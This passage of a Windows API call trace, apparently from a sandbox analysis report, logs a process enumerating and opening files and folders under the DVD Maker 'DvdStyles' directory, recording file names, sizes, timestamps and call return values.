ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0055.534] GetLastError () returned 0x12 [0055.534] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.534] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0055.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.536] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.536] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.536] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf10738, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf10738, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.536] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf10738) returned 1 [0055.537] NtClose (Handle=0x180) returned 0x0 [0055.537] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0aa80) returned 1 [0055.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.538] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x300000, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x300000, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x300000, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0055.539] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x300000, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0055.540] GetLastError () returned 0x12 [0055.540] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.540] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0055.540] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, 